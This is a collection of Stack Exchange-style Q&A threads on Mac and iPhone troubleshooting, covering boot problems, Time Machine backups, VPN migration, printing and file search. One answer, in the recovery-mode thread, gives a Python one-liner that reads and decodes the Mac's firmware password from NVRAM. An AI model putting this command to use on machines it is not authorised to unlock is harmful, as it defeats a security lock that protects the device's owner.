ffmpeg -i in.mov -map_metadata -1 -c:v copy -c:a copy out.mov


I cannot boot Ubuntu 16.04 on MacBook Pro(Mid 2012, macOS Sierra) I had updated my Mac 3 days back from El Capitan to Sierra. I had dual boot(Ubuntu + OSX). Before the update it was working perfectly with default boot as Ubuntu and by pressing option key I had OSX booted. But after the update I cannot boot Ubuntu. I have important files in Ubuntu, please help me.

It's not clear from your question whether you were using rEFInd or not. If so, the problem is most likely that updating to macOS Sierra reset the rEFInd boot loader configuration.

The first thing to try is reinstalling rEFInd. Reading The rEFInd Boot Manager:
Keeping rEFInd Booting may also be of interest.

If you aren't using rEFInd, please clarify this in your question.


How do I copy my pics on icloud to an external hard drive? I'm trying to figure out how to back up my pictures on iCloud to an external hard drive.  Do I seriously have to do this one pic at a time?

I opened Photos on my iMac running High Sierra 10.13.5. I then selected multiple photos using shift-click. Now go to the file menu and select Export and follow the directions. The last step lets you choose where to save the photos.


Is there a shortcut for setting labels in Finder? How can I set a label on a folder with a keyboard shortcut from the finder?

Use ⌘+I when the folder is selected.
This will bring up the Get Info box. Once you expand the section General, it will be already be expanded the next time you trigger the info box.

I've searched "MacOSX Hints" for tips and found this which also refers to this:
With Lion you can add a toolbar icon to label a folder with just one click.


How do I automatically store photos from emails or texts directly to the Camera roll? My son tried to explain the process to me, but I'm not able to figure it out.

On iPhone, there's no way currently that I know of to automatically save images from Messages to your Camera Roll. However, you can save images in bulk from Messages to your Camera Roll:

Open Messages and select the conversation with the images
Select Details in the upper right (iOS 11) orTap on the top bar and then select the info icon that appears (iOS 12)
Lightly press and hold on one of the images you'd like to save.
Select More in the popup menu
Select the rest of the images you'd like to save
Select Save Images in the bottom left corner.


How to disable macOS catching CTRL-A when running screen I am connecting to a Linux computer through the serial port using screen on my Mac.

I ran minicom on my Linux computer and minicom uses CTRL-A for commands.

But if I enter CTRL-A, the macOS catches this and tries to interpret the command.  Is there a way to temporarily disable the macOS from interpreting the CTRL-A?

CTRL-A is used by screen to initiate a command sequence. You can either press CTRL-Aa  to send CTRL-A to the other computer or redefine it with the -e option (see man screen for details).


Accessing and controlling iPhone via MacBook My iPhone is charging on my table but it lies beyond stretch of my hand. I feel lazy to stretch out to pull it up.

I want to check iPhone's battery charge level from my MacBook Pro. Is it possible to do so? Is there any macOS app that acts as a client for my iPhone on my MacBook Pro?

Not only would I like to check iPhone's battery level from my MacBook Pro, but also launch or close other apps, change settings, etc, on the iPhone. Is it possible?

I want to check iPhone's battery charge level from my MacBook Pro. Is it possible to do so?

There's a neat trick that lets you check the battery charge level/percentage on your iPhone even without touching it.

For this to work, you'll need to:

have mobile data enabled on your iPhone.
be logged into both your MacBook Pro and the iPhone with the same Apple ID.

Make sure you have Show Wi-Fi status in menu bar setting enabled under System Preferences app → Network → (active Wi-Fi network).

Now you have the Wi-Fi icon in your Menu bar status area. Press and hold the Option key on your MacBook's keyboard and click on the Wi-Fi icon in the Menu bar. In the context menu that appears, your iPhone will show up under Personal Hotspot. If the Personal Hotspot or your iPhone doesn't show up, just make sure both Wi-Fi and Mobile Data is enabled on your iPhone.

The entry corresponding to your iPhone will show the battery charge status, similar to how it's shown in your iPhone's status bar. The battery level indicator icon is shown in red if the charge level has reached below 20%.

On hovering the cursor over the iPhone name, you can see the exact percentage of battery charge level in a popover view.

Do note that this trick works only when you press and hold the Option key while clicking on the Wi-Fi icon.

  Is there any macOS app that acts as a client for my iPhone on my MacBook Pro?

I'm not sure what exactly you are looking for here. As far as I understand, there's no dedicated iPhone client app in macOS.

  Not only would I like to check iPhone's battery level from my MacBook Pro, but also launch or close other apps, change settings, etc, on the iPhone. Is it possible?

Generally speaking, it is not possible to control your iPhone from your MacBook. It's not possible to run/close installed apps and send multi-touch gestures to iPhone remotely.


How can I Unlock a iPhone 4S bought in London, in Denmark? My friend purchased two iPhone 4S's in London. The salesman in London refuses to unlock the devices since you need a UK credit card, which my friend doesn't have.

Is it possible to unlock the devices when he gets back to Denmark, in a Danish phone store?  Or should he refund the device before heading home on Sunday?

If it's carrier locked, only the carrier it's locked to can unlock it.

If you want an unlock phone, the easiest way to get one is buying directly from Apple. These factory unlocked phones will unlock as soon as you connect them to iTunes (and with iOS 5 possibly the first time you turn it on).


uptime: /dev/ttys003: No such file or directory When I use the uptime command on OS X, this error is printed:

$ uptime
uptime: /dev/ttys003: No such file or directory
20:57  up 36 days, 22:10, 3 users, load averages: 1.77 1.37 1.75

By running the who command, I see that there is another terminal logged in -- but I don't have any other terminals or SSH sessions.

$ who
Kevin    console  Mar 10 17:49
Kevin    ttys000  Mar 14 17:45
kevin    ttys003  Mar 14 20:59

This is kind of annoying. How do I get rid of the "No such file" message?

Terminals are numbered sequentially. The first terminal opened was 000, so I opened 3 more so that the 003 number would be used. I closed all extra terminals and uptime worked without error again.


Apache2 not running on High Sierra without Homebrew This is a post I have found on this issue:
Apache2 (Httpd) not working after update to High Sierra

But I have a situation where httpd is not running
after setting preference -> sharing ->web  sharing on

The relevant factors:

I bought this machine used with Sierra installed.

I upgraded it to High Sierra.

I attempted to set localhost as home page in my browers.

The browser responed by indicating they cannot connect to localhost.

I did some Googling and found the post this references.

I did not install Homebrew on this machine.

I have never used Homebrew.

But there may be a possibility that Homebrew was
installed at some point and upgrades to the system have not undone it.
I do find in /etc/Apache2/ an httpd.conf~previous
and many files in ./extra with ~previous appended to various files.

The question is: how can I verify if Homebrew was installed and if so can I safely run the uninstall script found?

There is a related issue with ethernet interfaces:
When a browser is used to contact localhost and puts up an error claiming it cannot conntect to localhost, I have noticed that I loose access to
the internet (App Store will not connect claiming I don't have an internet connection).
BUT I can access machines on the local network via file sharing. So I know the interface is working.

I would like to get this straightened out. I do
developement and want localhost to work. I like
to have localhost as a landing pad home page for
my browsers.

Thank you for time and attention
JK

I solved this issue:

httpd has to be started via sudo or by root.

This system is a clean install of High Sierra.

The solution was to run commands in terminal to
stop and restart httpd.

The solution to the ethernet
interface issue was to reset the PRAM.


Recovery mode asks for a password OS X 10.8.2 When I tried booting into recovery mode (Cmd ⌘ + R) during boot up, there's a field asking for a password. I do not know this password.

I am using a late-2009 21.5" iMac.

Anyone know what to do?

From the image, it looks like a Firmware password.

This bash script may be able to decrypt your firmware password, however it only works on a limited set of computers.

python -c "print ''.join(chr(int(c, 16) ^ 170) for c in '`sudo nvram security-password`'.split('%')[1:])"

Source


is there a way to set the settings on an external webcam? I would like to change the brightness settings of a USB webcam. Is there a way to do that without installing extra software on Lion?

Without - no, not unless your cam manufacturer makes something Mac-specific [but then again, that wouldn't truly be without, just free].

With - I'd recommend Webcam Settings 8 bucks from the App Store.
It's what turned my Logitech from a barely functional lump balanced on my monitor into something actually useful.


How can I restore an Application state from a cloned system? I successfully restored my iMac after a hard drive failure, but the Time Machine backup was a bit old.

I can access the "failed" hard drive as read only, which contains my most current files.

I would like to restore some applications to the state they were in when the hard drive crashed (Safari/Firefox/Chrome tabs, Stickies...).

In this answer, the answer suggests replacing the whole Library folder, but it sounds risky or long for just a couple of apps to be restored.

Where would I find these application states?

It depends on the app:

Non-Apple applications states or data can be found in ~/Library/Application Support/ usually.

Copying the folder named as the app to the respective path in your new system should restore most things.

This works for Firefox and Chrome.

It's also adviseable to copy the content of ~/Library/Saved Application State/.

Some Apple apps have their own folder in ~/Library/ like Safari and Mail. To get the Safari data and especially all your mails (in Mail), copy those folders. Others have their states/data in ~/Library/Group Containers/ or ~/Library/Containers/.

Very important:

Copy the folder ~/Library/Keychains to your (new) desktop and import your passwords. If you are also using a password app like 1Password, copy the respective folder in ~/Library/Application Support/.

Copy all preferences files ~/Library/Preferences/. Also check for invisible files and folders in ~/, ~/Preferences, ~/Library, /Library or /. They often contain either config files (e.g. .ssh) or even auth files or serial numbers for apps you purchased in the past.

You neither specified a system version nor an app version. Depending on your system or app version and purchase type (App Store or conventional) paths may vary.


Why doesn't my VPN work with my new Mac? I used Migration Assistant / Setup Assistant to copy everything from an old Mac to a new one, both running 10.8.4. My VPN connection uses the built-in OpenVPN client, via the Network pane in System Preferences.

The VPN worked before the migration, but after migration it just spins on "Connecting..." for a while before reporting:

  The negotiation with the VPN server failed. Verify the server address and try reconnecting.

I can still ping the VPN server, though.

In Console I see these messages, with some information redacted.

2013-06-18 1:10:33.202 PM configd[20]: IPSec connecting to server vpnhost.example.net
2013-06-18 1:10:33.202 PM configd[20]: SCNC: start, triggered by SystemUIServer, type IPSec, status 0
2013-06-18 1:10:33.325 PM configd[20]: IPSec Phase1 starting.
2013-06-18 1:10:33.367 PM racoon[55678]: IPSec connecting to server 1.2.3.4
2013-06-18 1:10:33.367 PM racoon[55678]: Connecting.
2013-06-18 1:10:33.367 PM racoon[55678]: IPSec Phase1 started (Initiated by me).
2013-06-18 1:10:33.372 PM racoon[55678]: IKE Packet: transmit success. (Initiator, Aggressive-Mode message 1).
2013-06-18 1:10:33.492 PM racoon[55678]: IKE Packet: receive failed. (Initiator, Aggressive-Mode Message 2).
2013-06-18 1:10:36.494 PM racoon[55678]: IKE Packet: transmit success. (Phase1 Retransmit).
2013-06-18 1:10:36.603 PM racoon[55678]: IKE Packet: receive failed. (Initiator, Aggressive-Mode Message 2).
2013-06-18 1:10:39.604 PM racoon[55678]: IKE Packet: transmit success. (Phase1 Retransmit).
2013-06-18 1:10:39.717 PM racoon[55678]: IKE Packet: receive failed. (Initiator, Aggressive-Mode Message 2).
2013-06-18 1:10:42.718 PM racoon[55678]: IKE Packet: transmit success. (Phase1 Retransmit).
2013-06-18 1:10:42.834 PM racoon[55678]: IKE Packet: receive failed. (Initiator, Aggressive-Mode Message 2).
2013-06-18 1:10:43.327 PM configd[20]: IPSec disconnecting from server 1.2.3.4
2013-06-18 1:10:43.327 PM racoon[55678]: IPSec disconnecting from server 1.2.3.4
2013-06-18 1:10:43.331 PM racoon[55678]: IPSec disconnecting from server 1.2.3.4

It turns out that Migration Assistant doesn't copy the VPN shared secret, if any. So if that's what your VPN connection uses, go to System Preferences > Network > (your VPN) > Authentication Settings... and set the correct value for the shared secret. Then Apply and try to connect again.


How can i diagnose a failed Install of Snow Leopard? I'm trying to upgrade from Leopard 10.5.8 to Snow Leopard, using the install CD.

The steps are:

Insert the DVD
Start the installation
When is about the 40-50% of the installation, the system restarts
Then ejects the DVD
Snow Leopard is not installed

How can I know what's going wrong? What I have to do to fix it?

This has happened to me in the past. The solution that worked for me was making sure that the disc surface is clean and scratch free, and I mean very clean. Using normal CD wipes is good to get dirt off, but if it is scratched more than slightly, then you may have problems.

Or the disc may be defective from the factory, it does happen and they do exist.

Try talking to your local Apple Store about a possible replacement, or if worst comes to the worst, you can order one here (Apple still stocks them).

Hope this helps!


How do I search all hidden files that are in hidden folders using Terminal? I need to find some configs buried in some hidden folders and can't recall where they are to navigate to them directly Cmd+Shift+G.

I did a sudo find -name Foo* (slow), but none of the returned files were in hidden folders.

What is the easiest way to search all hidden files?

mdfind seems to ignore a lot of hidden files. mdfind 'kMDItemFSInvisible==1&&kMDItemFSName==filename' does list .DS_Store files, but not for example .bash_history. I haven't found any way to search for files in some hidden directories like /private/etc/.
Anyway, Find Any File is a lot faster than find.

Find Any File is a program for Mac OS X that lets you search for files on your disks.

Contrary to Spotlight, it does not use a database but instead uses the file system driver's fast search operations, where available. This lets you search for file properties such as name, dates, size, etc., but not for file content (use Spotlight or EasyFind for that).
Find Any File can find files that Spotlight doesn't, e.g. those inside bundles and packages and in inside folders that are usually excluded from Spotlight search.
Finally, it is quite fast. A search only takes a few seconds on an internal hard disk or SSD. Try for yourself!


Time Machine fails to create an incremental backup I use Time Machine to create incremental backups to an external USB hard drive. Backups used to complete properly, but now Time Machine wants to backup much more data. Instead of the couple of GB of new data, the Time Machine menu bar icon popup menu reports it is going to backup 400+ GB! I stopped the backup as soon as I saw this to avoid filling up my backup drive. This is the relevant part of the backupd log:

18/05/15 21:05:06,778 com.apple.backupd[11380]: Starting manual backup
18/05/15 21:05:07,004 com.apple.backupd[11380]: Backing up to /dev/disk1s2: /Volumes/MacBackup/Backups.backupdb
18/05/15 21:05:15,385 com.apple.backupd[11380]: Will copy (22.3 MB) from Macintosh HD
18/05/15 21:06:04,176 com.apple.backupd[11380]: Will copy (Zero KB) from Data
18/05/15 21:06:04,225 com.apple.backupd[11380]: Found 761313 files (380.84 GB) needing backup
18/05/15 21:06:05,392 com.apple.backupd[11380]: 406.52 GB required (including padding), 904.71 GB available
18/05/15 21:06:48,246 com.apple.backupd[11380]: Copied 550 items (22.2 MB) from volume Macintosh HD. Linked 3201.
18/05/15 21:07:38,107 com.apple.backupd[11380]: Copied 123 items (1.57 GB) from volume Data. Linked 165.
18/05/15 21:07:38,738 com.apple.backupd[11380]: Backup canceled.

For some reason, backupd reports it will copy "(Zero KB)" from the Data partition (on an external eSATA hard drive). The output from tmutil compare shows that less than 4 GB needs to be backed up:

Added:         3.6G
Removed:       26.3K
Changed:       292.2M

When ejecting the Data disk, Time Machine does backup the internal hard disk as it should (some tens of MB).

I have a feeling this could be related to the fact that the Data drive was not properly ejected one or more times. Disk Utility's "Verify Disk" reports no problems with the disk however. Also the backup disk is clean.

I think I ran into this problem once before, but then I didn't abort the backup. The backup drive filled up quickly to the point where no new backups could be made. The solution then was to erase my backup HD and configure it as a new backup disk (losing all existing backups).

How can I fix Time Machine to perform as before without having to erase the backup disk and start from scratch? I don't want to be forced to do this every couple of months.

UPDATE I haven't seen this behavior in a long time now. Perhaps it was a bug fixed in a macOS upgrade...

EDIT I noticed this seems to happen randomly. Sometimes, Time Machine will start to back up the 400+ GB. At other times, it performs a normal incremental backup. So, I am not sure the procedure listed below really has any effect. I'll leave the description there just in case...

When the external USB HD is connected, I now simply check Time Machine when it starts to backup. If it wants to backup the 400+GB, I simply "Skip" the backup. If not, I let it continue. Not a perfect solution by far, but it works for me.

I booted my Mac in safe mode to see if this would solve the problem. Alas, it did not. Afterwards, whether caused by the safe boot or not, Time Machine didn't "see" the external Data partition anymore, so it would only backup from the internal SSD (and the TM preferences windows no longer listed the WinData partition in the list of excluded items).

At that point I reset Time Machine's configuration, as described in James Pond's Full Reset of Time Machine:

switch off Time Machine in the preferences window
make sure no backup is running
connect external drives included in the backup
take a screenshot of the TM preferences (the exclusion list)
disconnect the backup disk
delete /Library/Preferences/com.apple.TimeMachine.plist
reboot your Mac
connect your backup disk
re-configure Time Machine

select your backup disk
copy the TM preferences from the screenshot

After this process, Time Machine sees my external Data disk again; Data and WinData are automatically included in the excluded items list. After removing Data from the list, Time Machine now properly creates incremental backups of Data again.

There was one small problem however. The new files added to Data recently (right before TM started to make huge backups) were not backed up. To solve this, the following worked:

move these new files to another disk
create a new backup (size near 0)
place the files pack
create a new backup

You can perhaps use tmutil compare to see which files were not backed up.


Is it possible to install OS X Mavericks on 2016 MacBook Pro? I really like the Aqua UI which is available on Mac OS releases before OS X Yosemite 10.10.

It is possible to install OS X Mavericks on my 2016 MacBook Pro?

No. The oldest OS a Mac computer can support is the one the model originally shipped with (for you, 10.12 Sierra). You should be able to get the Mavericks background image from somewhere if that’s what you like about 10.10.


got rid of "others" but now I have more syncing problems A message appears stating that an error occurred while syncing, with the error number "(-54)". Then it says that I do not have "access privileges" to sync my iPhone and complete the process. All my contacts have been completely deleted. iTunes is not allowing me to restore my phone to a backup before installing iOS5 update.

The -54 error is defined as follows : Software lock on file; Not a subscriber

Is your computer Authorized ? iTunes -> Store -> Authorize this computer ?

Otherwise you don't have the correct permissions to a file you are trying to use for the sync. Try running the following script to see if it helps. It will unlock all files in your ~/Music folder.

tell application "Finder"
set locked of every item of entire contents of folder "Music:iTunes" of home to false
end tell

Reference here


Create an hardlink across storage device (or alternative solutions) I have named my secondary SSD with a name with a space in it - "My SSD", and have been using it for many years with multimedia applications without any problem. Part of my media library with thousands of files is stored on "My SSD" and is indexed by these apps.

However, since I started learning programming, I have encountered problems with multiple command line tools that I use which are not escaping the spaces in paths correctly (should be /Volumes/My\ SSD/Projects instead of /Volumes/My with another argument SSD/Projects).

Setting up a symbolic link doesn't solve this problem, because these applications still resolve the true path of the directory most of the time.

I have considered setting up a hardlink on a drive without a space in its name - "NoWhiteSpaceDrive", but there doesn't seem to be a tool available to do that.

Simply changing "My SSD" to "MySSD" is not a good solution for me because I would need to rescan the huge media library which will take hours to accomplish. Many other aspects and apps on my system are also tied with "My SSD", which may cause problems and I have to adjust them one by one...

Is there a way to set up a cross device hardlink or something similar?

Basically Unix/command line tools who can't handle file/path names with space characters are broken and need to be fixed.

One way out of this could be (haven't tried it) to

Rename the SSD to MySSD
Run cd /Volumes; sudo ln -s MySSD "My SSD"

Depending on how your media library works re-indexing might still occur though.


Is it possible to purchase the OEM USB sync cable? Is it possible to buy the genuine Apple USB sync cable for iPad/iPhone/iPod? I know there are many aftermarket cables available, but most of them seem inferior.

Yes - look for Apple USB to dock connector in the store.

It also comes with most chargers and dock accessories if you want a bundle.


Can MBP 13 mid 2012 send audio and video through thunderbolt to HDMI? I own this model: https://support.apple.com/kb/sp649?locale=en_US

And I have an adapter thunderbolt to HDMI that works wonderfully with video, but no audio.

Does someone has any advice on a product or the info about the capabilites of my mac to send audio AND video through thunderbolt port?

As far as I know, thunderbolt to HDMI by default provides audio.  Now, whether your adapter supports it, well that's another question.

I have used this device from Amazon Basics to supply HDMI to a TV (including audio) from a MBP and a Microsoft Surface Pro 3.  It worked with zero issues.


Printer will not print, status: "Hold for Authentication" Used to be able to print like a charm. It's a network printer. Now all I get is:

When checking the system log all it says is:

09/02/16 12:24:41,669 NetAuthSysAgent[42720]: NAHSelectionAcquireCredential Error Domain=com.apple.NetworkAuthenticationHelper Code=-1765328228 "acquire_kerberos failed username@LOCAL: -1765328228 - unable to reach any KDC in realm LOCAL, tried 0 KDCs" UserInfo={NSDescription=acquire_kerberos failed username@LOCAL: -1765328228 - unable to reach any KDC in realm LOCAL, tried 0 KDCs}

There shouldn't be anything kerberos related with this printer.

Anyone know of a fix or workaround?

the problem could be also related to storing a wrong password in the Key Chain Access; Go-->utilities--> Keychain access
search for the printer and then update the password.


How do you copy a single word from an SMS? I have received an SMS with an unlock PIN for an app. I now want to copy & paste that code into the app.

When I press on the message, I only get the option to copy the whole message. How can I only copy the PIN?

Sadly, you can't select a single word from a received SMS.

You're going to have to copy the whole SMS to a note (Or to the "reply" input), then select the part you want from that note.

That said, if the sent code is numeric, a user can directly copy it.
iOS will interpret it as a possible phone number, and allow several options when the number is touched & held down.


How do I backup iMessages to my PC for free? I'm getting ready to wipe and sell my old 4th-generation iPod touch, and I'd like to get a human-readable copy of all of my iMessages before I do so.

So far, I've found two solutions, but unfortunately they both cost money:

imessage-backup.com - basically you upload a certain file from the backup and it does some processing on the backend to make it human-readable. $7.99 per backup file.
iExplorer can also grab iMessages. You can see them within the app, but it forces you to register ($34.99) to export them.

Obviously there is some way to extract the data. I opened up the backup file in a text editor, and I could see messages, but it wasn't really "human-readable." I tried opening the backup file in SQLite Database Browser (the format in which the iMessages are supposedly backed up in), but it came up blank.

Is there a free way (preferably on Windows or Linux) to export iMessages?

Have you tried extracting them from your back up file? See this link.


How can I avoid repeated "Time Machine must create a new backup" errors when backing up to a third party NAS? My backups seem to go well backing up to my NAS however randomly after a few weeks I get the following error.  Several users get this error intermittently however I have yet to find a solution. Any ideas?

  Time Machine completed a verification of your backups on “NAS”. To
  improve reliability, Time Machine must create a new backup for you.

  Click Start New Backup to create a new backup. This will remove your
  existing backup history. This could take several hours.

  Click Back Up Later to be reminded tomorrow. Time Machine won’t
  perform backups during this time.

Suitability of HFS Plus

Whilst Time Machine must use HFS Plus for most things, it's worth noting that the file system is not ideally suited for the task.

An example

Coincidence: a few hours after my first edition of this answer, my own Time Machine Backups volume (a sparse bundle disk image) suffered a file system failure. I'm certain that the underlying storage is OK – a ZFS pool scrubbed, without error, before and after the HFS Plus failure. For the record:

2013-06-07 18:02:54.332 com.apple.backupd[18433]    Starting automatic backup
2013-06-07 18:02:56.292 com.apple.backupd[18433]    Resizing backup disk image from 2.65 TB to 2.6 TB
2013-06-07 18:03:34.119 com.apple.backupd[18433]    Disk image /Volumes/tall/com.apple.backupd/GPES3E-gjp4-1.sparsebundle mounted at: /Volumes/Time Machine Backups
2013-06-07 18:03:35.244 com.apple.backupd[18433]    Backing up to: /Volumes/Time Machine Backups/Backups.backupdb
2013-06-07 18:03:44.013 com.apple.backupd[18433]    Inherited root volume OS, UUID: C5C41F95-133B-3EB0-9013-F94DAAA0D99B
2013-06-07 18:03:44.147 com.apple.backupd[18433]    Forcing deep traversal on source: "OS" (mount: '/' fsUUID: 03AF4C8A-66E8-3DE2-B30F-176C0C2337C3 eventDBUUID: BDCB9532-A4A8-4B94-A6C1-928FD741B07A)
2013-06-07 18:03:44.148 com.apple.backupd[18433]    Event store UUIDs don't match for volume: spare
2013-06-07 18:03:44.150 com.apple.backupd[18433]    Event store UUIDs don't match for volume: disk0s3
2013-06-07 18:03:47.612 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-103948 does not contain spare.  Skipping it.
2013-06-07 18:03:47.663 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215311 does not contain spare.  Skipping it.
2013-06-07 18:03:47.714 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-075155 does not contain spare.  Skipping it.
2013-06-07 18:03:47.764 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-055748 does not contain spare.  Skipping it.
2013-06-07 18:03:47.827 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-220121 does not contain spare.  Skipping it.
2013-06-07 18:03:47.888 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-081211 does not contain spare.  Skipping it.
2013-06-07 18:03:47.966 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215312 does not contain spare.  Skipping it.
2013-06-07 18:03:48.025 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-235752 does not contain spare.  Skipping it.
2013-06-07 18:03:48.087 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-140311 does not contain spare.  Skipping it.
2013-06-07 18:03:48.145 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215718 does not contain spare.  Skipping it.
2013-06-07 18:03:48.202 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-005749 does not contain spare.  Skipping it.
2013-06-07 18:03:48.261 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-235753 does not contain spare.  Skipping it.
2013-06-07 18:03:48.321 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-160310 does not contain spare.  Skipping it.
2013-06-07 18:03:48.558 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-074020 does not contain spare.  Skipping it.
2013-06-07 18:03:48.619 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-025748 does not contain spare.  Skipping it.
2013-06-07 18:03:48.709 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-015751 does not contain spare.  Skipping it.
2013-06-07 18:03:48.904 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-025749 does not contain spare.  Skipping it.
2013-06-07 18:03:48.954 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-015752 does not contain spare.  Skipping it.
2013-06-07 18:03:49.004 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-130310 does not contain spare.  Skipping it.
2013-06-07 18:03:49.055 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-045748 does not contain spare.  Skipping it.
2013-06-07 18:03:49.162 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215950 does not contain spare.  Skipping it.
2013-06-07 18:03:49.211 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-092036 does not contain spare.  Skipping it.
2013-06-07 18:03:49.273 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-035751 does not contain spare.  Skipping it.
2013-06-07 18:03:49.321 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-225752 does not contain spare.  Skipping it.
2013-06-07 18:03:49.371 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-065747 does not contain spare.  Skipping it.
2013-06-07 18:03:49.420 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-045749 does not contain spare.  Skipping it.
2013-06-07 18:03:49.470 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-213710 does not contain spare.  Skipping it.
2013-06-07 18:03:49.519 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-091305 does not contain spare.  Skipping it.
2013-06-07 18:03:49.589 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-150310 does not contain spare.  Skipping it.
2013-06-07 18:03:49.639 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-065748 does not contain spare.  Skipping it.
2013-06-07 18:03:49.688 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-074521 does not contain spare.  Skipping it.
2013-06-07 18:03:49.776 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-220105 does not contain spare.  Skipping it.
2013-06-07 18:03:49.838 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-225749 does not contain spare.  Skipping it.
2013-06-07 18:03:49.899 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-092118 does not contain spare.  Skipping it.
2013-06-07 18:03:50.119 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-120311 does not contain spare.  Skipping it.
2013-06-07 18:03:50.388 com.apple.backupd[18433]    Mobile backup /Volumes/MobileBackups/Backups.backupdb/GPES3E-gjp4-1/2013-06-07-035749 does not contain spare.  Skipping it.
2013-06-07 18:03:51.141 com.apple.backupd[18433]    Deep event scan at path:/ reason:must scan subdirs|require scan|
2013-06-07 18:03:51.141 com.apple.backupd[18433]    Finished scan
2013-06-07 18:16:29.077 com.apple.backupd[18433]    Deep event scan at path:/Volumes/spare reason:must scan subdirs|new event db|
2013-06-07 18:16:29.086 com.apple.backupd[18433]    Finished scan
2013-06-07 18:16:29.570 com.apple.backupd[18433]    Deep event scan at path:/Volumes/disk0s3 reason:must scan subdirs|new event db|
2013-06-07 18:16:29.786 com.apple.backupd[18433]    Finished scan
2013-06-07 18:16:30.310 com.apple.backupd[18433]    Found 1695685 files (84.93 GB) needing backup
2013-06-07 18:16:31.053 com.apple.backupd[18433]    109.44 GB required (including padding), 2 TB available
2013-06-07 18:54:10.918 com.apple.backupd[18433]    Unexpected result from MDBackupIndexFile (1) for: /Applications/Freenet/datastore/CHK-cache.hd, /Volumes/Time Machine Backups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215332.inProgress/9086512E-E386-475E-AE99-34BAA1D2E485/OS/Applications/Freenet/datastore/CHK-cache.hd
2013-06-07 18:54:24.848 com.apple.backupd[18433]    Unexpected result from MDBackupIndexFile (1) for: /Applications/Freenet/datastore/CHK-store.hd, /Volumes/Time Machine Backups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215332.inProgress/9086512E-E386-475E-AE99-34BAA1D2E485/OS/Applications/Freenet/datastore/CHK-store.hd
2013-06-07 19:03:44.609 com.apple.backupd[18433]    Copied 18.81 GB of 84.93 GB, 460244 of 1695685 items
2013-06-07 20:03:44.827 com.apple.backupd[18433]    Copied 34.12 GB of 84.93 GB, 815234 of 1695685 items
2013-06-07 21:03:54.004 com.apple.backupd[18433]    Copied 40.73 GB of 84.93 GB, 1013214 of 1695685 items
2013-06-07 22:03:54.678 com.apple.backupd[18433]    Copied 67.55 GB of 84.93 GB, 1508426 of 1695685 items
2013-06-07 22:28:43.226 com.apple.backupd[18433]    Copied 1786731 files (77.59 GB) from volume OS.
